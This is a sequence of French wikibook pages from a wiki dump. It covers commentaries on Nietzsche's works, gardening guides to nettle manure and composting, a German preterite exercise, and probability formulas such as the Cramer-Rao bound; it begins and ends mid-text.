''raison'' qui fait que nous faussons le témoignage des sens. Les sens ne mentent pas, car ils nous montrent le changement et l'impermanence, et c'est ce monde apparent qui est vrai ; le monde vrai des philosophes est un [[mensonge]] qu'on y ajoute. Nietzsche passe alors à l'examen de l'autre idiosyncrasie des philosophes : confondre ce qui vient en premier et ce qui vient en dernier, i.e. le renversement de la causalité. Cette erreur consiste à placer les [[concept]]s de la raison au commencement de tout, car ces concepts étant considérés comme supérieur au monde des sens, ils ne sauraient en provenir. Il faut au contraire que ces concepts soient sans naissance, ''causa sui'', car aucun d'eux n'a pu devenir. Mais toutes ces idées sont équivalentes en valeur et il ne doit pas y avoir de contradiction entre elles ; il faut donc encore qu'elles se trouvent réunies dans un être ultime, « [[Dieu]] », placé à l'origine comme en soi, comme réalité la plus réelle. Mais d'où viennent ces abstractions ? Ce sont des préjugés de la raison qui nous conduisent à utiliser l'[[unité]], l'[[identité]], la [[substance]], la [[causalité]], l'[[être]], etc. Ces préjugés s'expliquent par la [[métaphysique]] du [[langage]] qui constitue la raison. Le [[langage]] remonte en effet à des temps très anciens et reflète une mentalité fétichiste quant à la causalité des agents naturels. L'erreur originelle que véhicule le langage est donc l'erreur de la [[causalité]] de la [[volonté]] : cette idée est celle d'un agent qui agit, donc d'un moi, d'une substance, enfin : d'un être. Ces [[catégorie]]s inscrites dans le langage sont devenues par la force des choses les catégories de la [[pensée]], et les philosophes ont cru y trouvé l'expression de notre origine supérieure du fait de leur certitude subjective. La conclusion de Nietzsche sur l'ensemble de ces points est que nous serons toujours ramenés à l'idée de l'[[Être]] si nous donnons foi à cette ''raison'' du langage : :« oh, quelle horrible vieille trompeuse ! Je crains que nous ne puissions nous débarasser de Dieu, parce que nous croyons encore à la grammaire... » === Comment, pour finir, le « monde vrai » devint fable=== Nietzsche expose et résume les grandes étapes de l'idée de « monde vrai » telle qu'elle se présente dans l'histoire de l'[[Occident]]. *Le monde vrai accessible au sage : [[Platon]]. *Le monde vrai inaccessible, mais promis aux vertueux : [[Christianisme]]. *Le monde vrai inaccessible, mais en tant qu'il est pensé, un impératif : [[Kant]]. *Le monde vrai inaccessible et inconnu, il n'engage plus à rien : [[positivisme]]. *Le monde vrai, une idée inutile et donc réfutée : moment de l'esprit libre. *Le monde vrai aboli, le monde de l'apparence l'est aussi : fin de l'erreur la plus longue et moment de [[Ainsi parlait Zarathoustra|Zarathoustra]]. === La morale, une anti-nature === Dans ce chapitre, Nietzsche examine le problème de la [[morale]] ; ce problème est l'un des termes de l'équation formulée plus haut. Loin d'être opposé à toutes morales, comme pourrait le laisser croire le titre (l'immoralisme de Nietzsche ne consiste pas en effet à refuser toutes les formes de morale, mais à les évaluer d'un autre point de vue que celui de la [[tradition]] philosophique occidentale), Nietzsche commence par en distinguer deux types fondamentaux et va montrer en quoi ces types sont foncièrement contradictoires. Cette distinction est rendue possible par l'observation suivante : les [[passion]]s ont une [[histoire]]. À un certain moment, elles ne sont que funestes, i.e. stupides, et les hommes en sont les victimes. Mais, plus tardivement, les passions sont ''spiritualisées''. De là, deux attitudes contraires face aux passions : *leur faire la [[guerre]], les extirper : c'est le fanatisme morale ; *les embellir, les diviniser, en spiritualisant la sensualité, l'orgueil, la volonté de dominer, etc. La première attitude est pour Nietzsche une forme extrème de [[bêtise]], car elle consiste à castrer l'[[homme]] ; en luttant contre ce qui apparaît comme les racines de la [[vie]], ce castratisme lutte également contre une élévation de l'homme, contre son intelligence par exemple. Telle était la pratique de l'[[Église]], qui entretenait ainsi une [[haine]] mortelle contre la vie. === Les quatre grandes erreurs === Dans ce chapitre, Nietzsche revient sur les erreurs de la [[philosophie]] et de la [[religion]] qu'il a trouvées au cours des précédants chapitres. La mise en évidence de ces erreurs fait partie de son projet de transvaluation des valeurs : en effet, s'il apparaît que la [[pensée]] occidentale (dans tous les domaines : [[morale]], [[métaphysique]], [[politique]], etc.) s'est construite jusqu'à présent sur des illusions conceptuelles et des méthodes imaginaires, alors se fait également jour la nécessité de reprendre toutes ces questions d'après une perspective nouvelle. Il faut d'ailleurs remarquer que le ''Crépuscule des idoles'' a été rédigé avec quelques uns des écrits qui étaient d'abord déstiné à la grande œuvre de Nietzsche : ''La [[Volonté de puissance]], Essai d'une transvaluation de toutes les valeurs'' ; le projet de cette œuvre a été abandonné par Nietzsche, mais bon nombre des textes qui devaient la constituer ont servi à l'écriture de ses dernières œuvres (comme ''[[L'Antéchrist]]'' par exemple). ==== Première erreur : confondre la cause et l'effet ==== Cette erreur est appelée [[morale]] et [[religion]] dans la [[pensée]] occidentale. Tous les commandements moraux et religieux sont de ce type. C'est également l'erreur la plus ancienne ; elle consiste à inverser la [[causalité]] naturelle. Par exemple, un [[homme]] n'est pas heureux du fait qu'il obéisse à un commandement moral qui lui dit d'être vertueux (exemple typique de formes de causalité morale et religieuse) ; sa [[vertu]] est au contraire l'effet de son [[bonheur]]. Mais qu'est-ce que le bonheur pour Nietzsche ? C'est incarner un ordre physiologique qui s'exprime par un rapport juste avec les autres et avec les choses. Autre exemple : pour la morale traditionelle, la cause de la ruine d'un peuple est souvent le luxe et la luxure ; Nietzsche rétablit la causalité naturelle : le luxe et la luxure ne sont pas du tout les causes (outre le fait qu'elles peuvent tout aussi bien exprimer un excès de force et non nécessairement une faiblesse), mais les conséquences d'un épuisement tel qu'il n'est plus possible de résister à des sollicitations toujours plus vives (un [[peuple]] épuisé a ainsi besoin de beaucoup d'excitants pour secouer sa torpeur, il ne se sent exister qu'autant que sa sensibilité est violemment excitée). ==== L'erreur d'une fausse [[causalité]] ==== ==== L'erreur des causes imaginaires ==== ==== L'erreur du [[libre arbitre]] ==== === Ceux qui veulent « amender » l'humanité === Ce chapitre propose un approfondissement du jugement moral partant de l'idée qu'il n'y a aucun faits moraux. La [[religion]] et la [[morale]] sont en effet des [[croyance]]s en des [[réalité]]s imaginaires. L'[[homme]] religieux et moral ne sait pas encore distinguer la réalité de son imagination. Mais ces chimères restent des interprétations bien réelles, susceptibles de nous apprendre quelque chose. La morale, en tant que [[sémiotique]], doit être le symptôme de quelque chose qu'il faut découvrir, exactement de la même manière que la recherche des traits de caractère de Socrate (son type) était susceptible de nous faire connaître l'origine des évaluations socratiques (et des sages en général). ===Ce qui manque aux Allemands=== === Divagations d'un « Inactuel » === Ce chapitre, composé de 51 paragraphes, et qui est le chapitre le plus long du [[livre]], est une suite de réflexions variées et plus ou moins liées entre elles. L'organisation apparente peut donner l'impression d'une certaine confusion ; en réalité, l'étude scrupuleuse de cet ensemble révèle des thèmes sous-jacents qui font la cohérence et l'unité de ces aphorismes. === Ce que je dois aux anciens === === Le marteau parle === C'est un extrait d'[[Ainsi parlait Zarathoustra]], III, ''Des vieilles et des nouvelles tables'', §29 : :« Pourquoi si dur ? - dit un jour au diamant le charbon de cuisine ; ne sommes-nous pas proches parents ? :Pourquoi si mous ? O mes frères, je vous le demande : n'êtes-vous donc pas - mes frères? :Pourquoi si mous, si fléchissants, si mollissants ? Pourquoi y a-t-il tant de reniement, tant d'abnégation dans votre cœur ? si peu de destinée dans votre regard ? :Et si vous ne voulez pas être des destinées, des inexorables : comment pourriez-vous un jour vaincre avec moi ? :Et si votre dureté ne veut pas étinceler, et trancher, et inciser : comment pourriez-vous un jour créer avec moi ? :Car les créateurs sont durs. Et cela doit vous sembler béatitude d'empreindre votre main en des siècles, comme en de la cire molle, - béatitude d'écrire sur la volonté des millénaires, comme sur de l'airain, - plus dur que de l'airain, plus noble que l'airain. Le plus dur seul est le plus noble. :Ô mes frères, je place au-dessus de vous cette table nouvelle : Devenez durs ! » LSF/Histoires à traduire 3835 15311 2005-06-03T10:05:55Z 195.221.155.2 c'est l'histoire d'une fille qui souhaite devenir éducatrice spécialisée avec les enfants malentendants Jardinage 3836 29053 2006-01-16T20:56:36Z Greudin 1 +wikilivre outils, [[catégorie:Jardinage]] {{ébauche}} # [[Outils de jardinage]] ==Agriculture biologique== # [[Jardinage:Engrais biologiques|Engrais biologique]][[Image:25%.png]] # [[Jardinage:Produire ses semences|Produire ses semences]][[Image:00%.png]] # [[Jardinage:Faire son compost|Faire son compost]][[Image:25%.png]] [[catégorie:Jardinage]] Jardinage:Engrais biologiques 3837 35073 2006-02-27T21:59:47Z 80.12.18.9 /* Engrais aux Orties */ {{ébauche}} ==Engrais aux Orties (Soupe d'orties)== ===Préparation=== # Cueillir des orties (munissez vous de protections), avant qu'elles ne montent en graines. # Hachez grossièrement votre récolte dans un grand bac en plastique (n'importe quel bidon récupéré fera l'affaire), ou bien en bois encore mieux, mais surtout pas en métal. # Ajoutez de l'eau de pluie, à raison de 10 litres par kilo d'orties fraîches (ou 100g de sèches). # Couvrez et laissez s'opérer la fermentation, tout en remuant tout les 2 ou 3 jours. Celle-ci est terminée quand il n'y a plus de bulles lorsque vous remuez. # Cette phase de fermentation peut durer entre 1 et 3 semaines, tout dépend de la température ambiante, plus il fait chaud plus elle est rapide. ===Utilisation=== # Le purin ainsi obtenu est très concentré, il faut le diluer pour pouvoir l'utiliser, sinon on risquerait de brûler les plantes. # Pour une utilisation comme engrais versé à même le sol, aucune filtration n'est nécessaire. La dillution est de rapport 1/10, c'est à dire que pour 1 volume du mélange on ajoute 10 volumes d'eau. # Pour une utilisation avec un pulvérisateur, donc à même les feuilles de vos végétaux cultivés, il faut filtrer le mélange, pour avoir un liquide sans restes de feuilles décomposées. Utiliser alors un tamis moyen. La dillution sera de rapport 1/20 cette fois, donc pour 1 volume de mélange, on ajoutera 20 volumes d'eau. ===Avantages=== # L'engrais ainsi obtenu est très riche en azote, il favorise la prise des végétaux en début de croissance, et la reprise après la fructification. # On peut aussi l'utiliser comme activateur de compost, versez en quelques litres sur votre tas de compost Il se conserve à condition de le stocker dans des bouteilles hérmétiquements fermées, au frais, pendant près d'un an. Jardinage:Faire son compost 3838 22400 2005-09-29T22:32:17Z 83.134.161.239 /* Comment l'utiliser ? */ nourrie -> nourrit ==Pourquoi faire son compost ?== Produire soi-même son compost a plusieurs avantages. D'abord d'ordre écologique, en effet lorsque l'on fait son compost on recycle la plupart de ses déchets, au lieu de les jeter aux ordures classiques, où ils seraient détruits incinérés ou bien entérrés. Aussi, vous obtiendrez un terreau certifié biologique, d'une qualité superieure aux terreaux du commerce, et pour un prix bien moindre. Ainsi plus besoin de vous ruiner en engrais chimiques coutants et surtout très polluants, puisque votre terre contiendra déjà tout les éléments nutritifs dont les plantes que vous allez cultiver ont besoin. C'est aussi le moyen d'economiser des sacs poubelles puisque vous placerez dans votre cuisine un seau dans lequel vous jeterez les produits que vous irez ensuite mettre au composteur. ==Que faut il mettre dedans ?== Il faut premièrement noter que plus les éléments mis à composter seront de taille réduite, plus le compostage sera rapide. Ainsi quand on met des coquilles d'oeufs par exemple, il est bon de les réduire en miette avant. On peut mettre tous les déchets ménagers (épluchures de fruits et légumes, cendres de cheminée, etc...), les déchets du jardin (feuilles mortes, mauvaises herbes fauchées). ==Que ne faut il pas mettre dedans ?== Eviter de mettre des branches d'arbres trop épaisses (brulez-les ou mieux, broyez-les), et des mauvaises herbes contenant des graines (brulez les aussi). Il faut aussi se méfier de certains fruits acides, comme les agrumes qui acidifient le compost et peuvent, en trop grande proportion, être toxiques pour les plantations. Il va de soi que le compost ne doit pas contenir de plastiques, ni de métaux. Vous ne devez pas non plus y mettre des résidus medicaux souillé (coton qui a servi à desinfecter une plaie) car ils pourraient contenir des éléments pathogenes qui pourraient se propager dans votre compost. ==Comment réaliser le compostage ?== Plusieurs techniques sont possibles, à vous de choisir en fonction de l'espace dont vous disposez. Le plus simple est d'entasser basiquement, si possible à l'abri de la pluie. Il suffit d'arroser le compost pour l'activer, et de le retourner de temps en temps. On peut aussi réaliser une cuve de compostage, avec les matériaux dont on dispose (parpaings, bois, bambous ...), il faut alors veiller à bien aérer le compost, en enfonçant dans celui ci des tuyaux percés (ou des branchages de taille moyenne). Des cuves de compostage sont disponibles dans le commerce, mais il est plus interressant de la construire soi-même. == Comment l'utiliser ? == Compost jeune : de 3 à 6 mois Il n'est pas décomposé, juste hygiénisé, et il convient en utilisation comme paillage aux pieds des arbres, des haies, il continuera à se décomposer progressivement et protégera les racines de la sécheresse Compost intermédiaire : de 6 à 9 mois Il est partiellement décomposé, il peut être étalé dans le jardin et enfoui dans la terre par bêchage ou roto-binage. Il apportera les éléments nécessaires aux cultures exigeantes en nutriments (tomates, choux, courges par exemple) Compost complètement décomposé : plus de 9 mois Il est complètement décomposé, il a une structure grumeleuse, étalé dans le jardin il améliore la qualité de la terre et la nourrit. Vous pouvez aussi l'utiliser pour le rempotage et les semis. ATTENTION ne pas utiliser du compost pur pour le rempotage et les semis (sauf graines de courge), le mélanger à 50% de terre ou terreau avant utilisation. Image:Preprod.jpg 3840 15316 2005-06-03T15:07:32Z Frederick 306 Faire son film - Pre-production Faire son film - Pre-production Image:Postprod.jpg 3841 15317 2005-06-03T15:07:52Z Frederick 306 Faire son film - Post-production Faire son film - Post-production Image:Prod.jpg 3842 15318 2005-06-03T15:08:05Z Frederick 306 Faire son film - production Faire son film - production Image:Diffvente.jpg 3843 15319 2005-06-03T15:08:18Z Frederick 306 Faire son film - diffusion / vente Faire son film - diffusion / vente Image:Anx.jpg 3844 15320 2005-06-03T15:12:13Z Frederick 306 Faire son film - annexes Faire son film - annexes Allemand/Exercices/Prétérit 3845 38016 2006-03-16T20:58:31Z 81.51.24.153 /* Intérrogation */ __NOTOC__ == Verbes faibles == Conjuguez les verbes faibles suivants au prétérit : # ich arbeitete (arbeiten) # er erzälete (erzählen) # wir bestelleten (bestellen, commander) # Sie wohneten (wohnen) # du lernetest(lernen) # ihrlachetest (lachen) == Verbes forts == Conjuguez les verbes suivants au prétérit : # du ________ (schlafen) # er ________ (nehmen) # Sie ________ (bringen) # ich ________ (kommen) # wir ________ (sprechen) # ihr ________ (lesen) == Intérrogation == ich schlafe du schlafst er, sie, es slaft wir schlafen ihr schlaft Sie schlafen == Négation == == Traduction == == Solutions == ==== Verbes faibles ==== # ich arbeitete # er erzählte # wir bestellten # Sie wohnten # du lerntest # ihr lachtet ==== Verbes forts ==== # du schliefst # er nahm # Sie brachten # ich kam # wir sprachen # ihr last ==== Intérrogation ==== ==== Négation ==== ==== Traduction ==== ---- Retour au [[Enseignement de l'allemand|sommaire]] ---- Mathematiques du traitement du signa:info 3846 15322 2005-06-03T18:54:23Z 81.185.39.213 /* Information de Fisher d'une gaussienne */ = Borne de Cramer-Rao= == Enoncé== Soit <math>f_\theta(x)</math> une densité de proba paramétrée par <math>\theta</math> dont le domaine est <math>\Theta</math>. Soit <math>\theta^*</math> un estimateur de <math>\theta</math>. On note: * <math>\ell(x,\theta)=\ln f_\theta(x)</math> la log vraisemeblance de <math>f_\theta</math> * <math>L(X,\theta)=\sum_{n=1}^N \ln f_\theta(x_n)</math> la log vraisemblance d'un échantillon <math>X=(x_n)_{1\leq n\leq N}</math> * et <math>a(\theta)=\mathbf{E}_\theta (\theta^*)=\theta+b(\theta)</math> qui définie l'espérance <math>a</math> et le biais <math>b</math> de l'estimateur <math>\theta^*</math>. On suppose que <math>\sqrt{f_\theta(x)}</math> est presque-partout continuement différentiable en <math>\theta</math> ; et que l' '''information de Fisher''' : <center> <math>I\!\!I(\theta)=\int_x \frac{f'_\theta(x)^2}{f_\theta(x)} d\mu(x)=\mathbf{E}_\theta( \ell'(x_1,\theta))^2</math> </center> existe et est donc continue et positive en <math>\theta</math>. '''Théorème de Cramer-Rao.''' <i>Lorsque <math>\mathbf{E}_\theta(\theta^*)^2</math> existe et est bornée, alors:</i> <center> <math>\mathbf{V}_\theta(\theta^*)\geq {(1+b'(\theta))^2 \over n\, I\!\!I(\theta)}</math> </center> <i>et lorsque cette inégalité est atteinte sur un intervalle en <math>\theta</math>, sur lequel la variance <math>\mathbf{V}_\theta(\theta^*)</math> est non nulle, alors sur ce même intervalle:</i> <center> <math>f_\theta(X)=\exp( \theta^* \, A(\theta)+B(\theta))\, h(X)</math> </center> <i>La réciproque est vraie.</i> ==Interprétation== Cela signifie que la variance d'un estimateur est '''au mieux''' en <math>I\!\!I(\theta)^{-1}</math> par point disponible dans l'échantillon. Pour mieux comprendre ce que cela signifi, calculons par exemple l'information de Fisher associée à une distribution gaussienne. === Information de Fisher d'une gaussienne === Pour cela, une définition mutlivariée (en terme de l'espace des paramètres) de l'information deFicher est nécessaire: <center> <math>I\!\!I(\theta)=||I_{ij}(\theta)||,\, I_{ij}(\theta)=\mathbf{E}_\theta\left( {\partial\over\partial\theta_i}\ell(x_1,\theta)\cdot {\partial\over\partial\theta_j}\ell(x_1,\theta) \right) </math></center> En notant <math>\varphi(x,\theta)=2\left( \sqrt{f_\theta(x)}\right)'</math>, on a : <center> <math>I\!\!I(\theta)=\int_x \varphi^T(x,\theta)\cdot\varphi(x,\theta) d\mu(x) </math></center> =Références= * [http://www.amazon.com/gp/reader/9056990187/ref=sib_vae_pg_140/002-5652328-4712826?%5Fencoding=UTF8&keywords=cramer%20rao&p=S04L&twc=42&checkSum=RD8nFaHITI3XBewMEOAht8hupO4osZHRnnoFupCWeEQ%3D#reader-page Mathematical Statistics], by A. A. Borovkov Humain, trop humain 3847 17214 2005-07-22T12:05:43Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Le XIXème siècle|Le XIXème siècle]]''' | width="34%" align="center"|'''[[Friedrich Nietzsche]]''' | width="33%" align="right"| |} '''''Humain, trop humain. Un livre pour esprits libres''''' (''Menschliches, Allzumenschliches. Ein Buch für freie Geister'') est une œuvre du philosophe [[Friedrich Nietzsche]], publiée, pour le premier tome, en 1878. Un second tome fut publié par la suite, réunissant ''Vermischte Meinungen und Sprüche'' (''Opinions et sentences mêlées'') et ''Der Wanderer und sein Schatten'' (''Le Voyageur et son ombre). === Analyse de l'œuvre === Le premier tome est composé d'une préface, de 638 aphorismes distribués en 9 parties et d'un poème. '''[[Humain, trop humain - I. Des principes et des fins|I. Des principes et des fins]]''' '''[[Humain, trop humain - II. Pour servir à l'histoire des sentimaux moraux|II. Pour servir à l'histoire des sentimaux moraux]]''' '''[[Humain, trop humain - III. La vie religieuse|III. La vie religieuse]]''' '''[[Humain, trop humain - IV. De l'âme des artistes et écrivains|IV. De l'âme des artistes et écrivains]]''' '''[[Humain, trop humain - V. Caractères de haute et basse civilisation|V. Caractères de haute et basse civilisation]]''' '''[[Humain, trop humain - VI. L'homme en société|VI. L'homme en société]]''' '''[[Humain, trop humain - VII. Femmes et enfants|VII. Femmes et enfants]]''' '''[[Humain, trop humain - VIII. Coup d'œil sur l'État|VIII. Coup d'œil sur l'État]]''' '''[[Humain, trop humain - IX. L'homme seul avec lui-même|IX. L'homme seul avec lui-même]]''' '''Entre amis (Épilogue)''' === Explication de ce livre par Nietzsche === '''[[Ecce Homo - Humain, trop humain et deux suites]]''' [[catégorie:Commentaire sur Nietzsche]] Mathématiques du traitement du signal : formules 3848 26448 2005-12-03T15:39:51Z 81.185.32.103 /* Distribution Gaussienne */ Ce formulaire regroupe des formules utiles. = Inégalités = Un poly de référence : [http://www.econ.upf.es/~lugosi/anu.ps Concentration-of-measure inequalities], Gabor Lugosi. == Inégalité de Bienaymé-Tchebychev == <center><math> \mathbf{P}\left( ||x-m||\geq t \sigma\right) \leq 1/t^2 </math></center> Une [http://archive.numdam.org/ARCHIVE/BSMF/BSMF_1937__65_/BSMF_1937__65__100_0/BSMF_1937__65__100_0.pdf démonstration de 1937] : <center> [[Image:Bienayme-tchebychev.png]] </center> == Inégalité de Markov == Soit <math>X</math> une varianle aléatoire et <math>t</math> un réel : <center> <math>\mathbf{P}(X\geq t) \leq {1\over t}\mathbf{E}(X)</math> [[Image:Markov.jpg]] </center> On peut en déduire que pour toute fonction <math>\phi</math> mesurable monotone croissante à valeurs positives : <center> <math>\mathbf{P}(X\geq t) \leq {\mathbf{E}(\phi(X)) \over \phi(t)}</math> </center> ce qui permet d'obtenir une généralisation de Chebychev (citée dans [http://www.econ.upf.es/~lugosi/anu.ps Concentration-of-measure inequalities], Lecture notes by Gabor Lugosi , March 7, 2005): <center> <math>\mathbf{P}(|X - \mathbf{E}(X)| \geq t) \leq {\mathbf{E}(|X - \mathbf{E}(X)|^q \over t^q}</math> </center> == Le log itéré == == Inégalité de Bonferroni == voir [http://mathworld.wolfram.com/BonferronisInequalities.html mathworld.wolfram]. <math>P(\cup_i E_i) \leq \sum_i P(E_i)</math> == Inégalité de Chernoff == Soit <math>(X_n)_{1\leq n\leq N}</math> des réalisations d'une même variable aléatoire de variance <math>\sigma^2</math>. <math>S_N</math> la somme de ces <math>N</math> réalisations ; i.e. <math>S_N = \sum_{n=1}^N X_n</math> Alors, pour tout <math>0\leq k\leq 2\sigma</math>, on a: <center> <math>P(|S_N|\geq k \sigma)\leq 2 e^{-k^2/4N^2}</math> </center> [[Image:Chernoff.png]] == Inégalité d'Efron-Stein == Soit <math>(X_n)_{1\leq n\leq N}, (X'_n)_{1\leq n\leq N}</math> 2N réalisations i.i.d. d'une variable aléatoire réelle et <math>f:{I\!\! R}^N\mapsto {I\!\! R}</math> une fonction mesurable. On note : <math>Z=f(X_1,\ldots,X_N), Z^{(i)}=f(X_1,\ldots,X_{i-1},X'_i,X_{i+1},\ldots,X_N)</math> Alors: <math>\mathbf{V}(Z)\leq {1\over 2}\, \mathbf{E}\left[ \sum_{i=1}^N (Z-Z^{(i)})^2 \right]</math> Cité par : [http://mahery.math.u-psud.fr/~massart/sobconc.pdf Concentration inequalities using the entropy method], BOUCHERON, S., LUGOSI, G., [http://mahery.math.u-psud.fr/~massart/ MASSART, P.] (2003), Ann. of Probability 31 n°3, 1583-1614. et en notant <math>\mathbf{E}_i(Z)=\mathbf{E}(Z|X_i,\ldots,X_{i-1},X_{i+1},\ldots,X_n)</math>: <math>\mathbf{V}(Z^{(i)})\leq \mathbf{E}\left[ \sum_{i=1}^N (Z^{(i)} - \mathbf{E}_i(Z) )^2 \right]</math> Cité par [http://jeff.cs.mcgill.ca/~luc/devroye_1987_an_application_of_the_efron_stein_inequality_in_density_estimation.pdf An application of the Efron-Stein inequality in density estimation], [http://jeff.cs.mcgill.ca/~luc/ Luc Devroye], Annals of Statistics, vol. 15, pp. 1317-1320, 1987. Elle est utilisée par exemple pour obtenir les résultats du Bootstrap et Jackknife [http://print.google.com/print?id=nWcFHSdhaW0C&pg=PA28&lpg=PA28&dq=efron+stein&prev=&sig=iENhs1RBKBlMWtDjZrk6f2UZNSs The Jackknife and Bootstrap], by Jun Shao, p28. == Inégalité de Kolmogorov == Soit <math>(X_n)_{1\leq n\leq \infty}</math> des réalisations i.i.d. d'une même variable aléatoire d'espérance nulle. <math>S_N</math> la somme de ces <math>N</math> réalisations ; i.e. <math>S_N = \sum_{n=1}^N X_n</math> Alors, pour tout <math>\lambda>0</math> : <center> <math>\mathbf{P}\left( \max_{1\leq k\leq n} |S_k| \geq \lambda \right) \leq {1\over \lambda^2} \mathbf{V}(S_n)</math> [[Image:Kolmogorov_conference_picture.jpg]] </center> cf [http://planetmath.org/encyclopedia/KolmogorovsInequality.html PlanetMath.org] == Inégalité de Vapink Chervonenkis == == Inégalité de Burkholder-Rosenthal == = Approximations = == Distribution Gaussienne == Il y a dans Hull ([http://www.amazon.com/gp/product/0130091448 Options, Futures and Other Derivatives, Fifth Edition] ; John C. Hull), page 248, une approximation de la fonction de répartition d'une distribution gaussienne assez pratique : <math> \forall x\geq ,\, N(x)=1-M(x)\sum_{i=1}^5 a_i k(x)^i </math> et <math>\forall x<0,\, N(x)= 1-N(-x)</math> ; avec : <center> <math>k(x) = \frac{1}{1+\gamma x},\, \gamma=0.2316419 </math> <math>a_1=0.319381530,\, a_2=-0.356563782,\, a_3=1.781477937 </math> <math>a_4=-1.821255978,\, a_5=1.330274429 </math> <math>M(x)=\frac{1}{\sqrt{2\pi}}\, e^{-x^2/2} </math> </center> Image:Bienayme-tchebychev.png 3849 15325 2005-06-03T20:18:04Z Charles 328 bienaymé tchebychev bienaymé tchebychev Par-delà bien et mal 3850 23735 2005-10-20T10:54:31Z Greudin 1 restitution de la dernière modification de Marc {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Le XIXème siècle|Le XIXème siècle]]''' | width="34%" align="center"|'''[[Friedrich Nietzsche]]''' | width="33%" align="right"| |} [[catégorie:Commentaire sur Nietzsche]] '''Par-delà bien et mal, Prélude d'une philosophie de l'avenir''', (''Jenseits von Gut und Böse - Vorspiel einer Philosophie der Zukunft'') est une œuvre du philosophe allemand [[Friedrich Nietzsche]], publiée en [[1886]]. Le titre fut traduit en '''''Par-delà le bien et le mal''''' par Henri Albert. Néanmoins, la traduction ''Par-delà bien et mal'' rend mieux compte du fait que Nietzsche entend se placer au-delà d'un couple de valeur, et non de chacune de ces valeurs considérées seules. Le [[livre]] paraît après [[Ainsi parla Zarathoustra]] et avant la [[Généalogie de la morale]], « qui complète et éclaire » ''Par-delà bien et mal''. Il comporte une préface, neuf parties et un postlude, ''Du haut des monts'', qui est un poème. Les neuf parties sont composées de 296 aphorismes, une forme que [[Friedrich Wilhelm Nietzsche|Nietzsche]] privilégie habituellement. Le titre se place dans une perspective immoraliste de la [[morale]] et des préjugés moraux. Il s'agit de dépasser « la [[croyance]] aux oppositions des valeurs » (aphorisme 2) qui, selon lui, n'est qu'un préjugé de métaphysicien. == Analyse de l'œuvre == === Des préjugés des philosophes === Dans cette partie, Nietzsche met en place le cadre psychologique de son analyse ; on y trouve : *une analyse des motivations réelles des philosophes *une critique de la psychologie idéaliste, critique qui procède en deux temps : **une critique de l'importance du sujet et de la conscience dans le processus de la pensée : la conscience est un phénomène tardif qui ne fait connaître que les effets de ce qui s'est déjà joué en nous ; la conscience est la fiction de l'unité de l'organisme. Le sujet est, comme chez Hume, une image fictive que nous construisons. **une critique de la volonté : il n'y a ni volonté libre, ni volonté non-libre. ==== Psychologie du philosophe ==== Les [[philosophe]]s, qui recherchent obstinément la [[vérité]], agissent et pensent sous l'influence de préjugés populaires, de la superstition, de l'[[éducation]], des circonstances historiques, de leurs [[instinct]]s, dont la soif de domination. Le philosophe est secrètement guidé par des instincts qui l'entraînent de [[force]] dans des chemins déterminés (aph. 3). Pour Nietzsche, chez un philosophe, rien n'est impersonnel ; sa [[morale]] montre ce qu'il est. Ce sont ses pulsions instinctives qui font le philosophe : l'orgueil, par exemple, de réfuter une thèse (aph. 18), ou la [[jalousie]] (7) qui le pousse à vouloir dépasser un adversaire qui l'irrite. Mais le philosophe se construit également une morale pour se justifier à ses propres yeux : s'il se croit faible, déficient, il sera porté à croire au « serf-arbitre », à un déterminisme psychologique (21). Finalement, une [[idée]] ne naît pas spontanement dans l'[[esprit]] d'un philosophe ; sa philosophie le réflète, montre son être, ses instincts en lutte. Mais le philosophe est également influencé par le [[monde]] extérieur : son éducation, les circonstances historiques, et même la langue qu'il parle : « il y a tout lieu de croire que les philosophes de l'aire linguistique ouralo-altaïque considéreront le monde d'un autre œil et s'engageront dans d'autes sentiers que les Indo-Européens ou les Musulmans » (20). Dans la [[langue]], en effet, la [[notion]] de [[sujet]] peut par exemple être plus ou moins élaborée. Selon Nietzsche, le philosophe qui construit sans le savoir sa [[philosophie]] autour de ses instincts veut d'abord croire en lui-même. Mais « quand une philosophie croit en elle-même, elle veut créer le monde à son image. Car la philosophie est un instinct tyrannique : elle assouvit la [[volonté]] de puissance, d'une manière très spirituelle, et est une ambition de créer le monde » (9). Cette philosophie de la « non-vérité » répond selon Nietzsche à un [[besoin]] nécessaire : si l'[[homme]] ne s'était pas illusionné sur la [[vie]], la [[mort]], l'au-delà, sur la [[nature]], s'il avait connu la [[vérité]] comme telle, rien ne l'aurait empêché de se détruire. Les préjugés des philosophes participent donc à la survie de l'[[espèce]] ; renoncer aux [[jugement]]s faux se serait renoncer à la vie même, la nier (4). Les philosophes agissant selon leurs instincts, sans le savoir, ont donc accompli une tâche non négligeable : celle de maintenir l'[[homme]] dans un [[rêve]], et, surtout, en vie. === L'esprit libre === === Le phénomène religieux === === Maximes et interludes === Cette partie est composée de 123 aphorismes de deux ou trois lignes. Nietzsche a l'ambition de dire en quelques phrases ce que certains penseurs ont dit, ou n'ont pas dit, en plusieurs centaines de pages indigestes. Chacun de es aphorismes pourraient être le point de départ d'une dissertation, comme c'est la cas de la troisième partie de la [[Généalogie de la morale]]. :« On a mal observé la vie si l'on n'a pas vu aussi la main qui, avec mille ménagements, assassine. » (69) :« Ce n'est pas la puissance mais la constance d'un sentiment supérieur qui fait l'homme supérieur. » (72) :« Dans un être humain, le degré et la nature de la sexualité se répercutent jusque dans les plus hautes régions de l'esprit. » (75) :« En temps de paix, l'homme belliqueux tombe en proie à lui-même. » (76) :« Un peuple est le détour que prend la nature pour produire six ou sept grands hommes - et ensuite pour s'en dispenser. » (126) :« Les contradictions, les incartades, la méfiance joyeuse, la moquerie sont toujours signes de santé : toute espèce d'absolu relève de la pathologie. » (154) :« Le christianisme donna du poison à Éros : il n'en mourut pas, mais dégénéra en vice. » (168) :« On refuse de croire aux sottises des hommes intelligents : quelle entorse aux droits de l'homme ! » (178) === Contribution à l'histoire naturelle de la morale === === Nous, les savants === === Nos vertus === === Peuples et patries === === Qu'est-ce qui est aristocratique ? === ==Résumé thématique== ===Vie et vérité=== * Il y a une '''volonté''' derrière la recherche de la vérité. :- Caractère '''inconscient''' de la pensée (3, 5, 20, 32, 193). :- Toute pensée est '''perspective''' (14, 34). * Toute philosophie est une morale – et doit l’être (6, 205, 207). * Remise en question de la '''valeur de la vérité''' (1). :- Besoin ou nécessité de certains jugements (11, 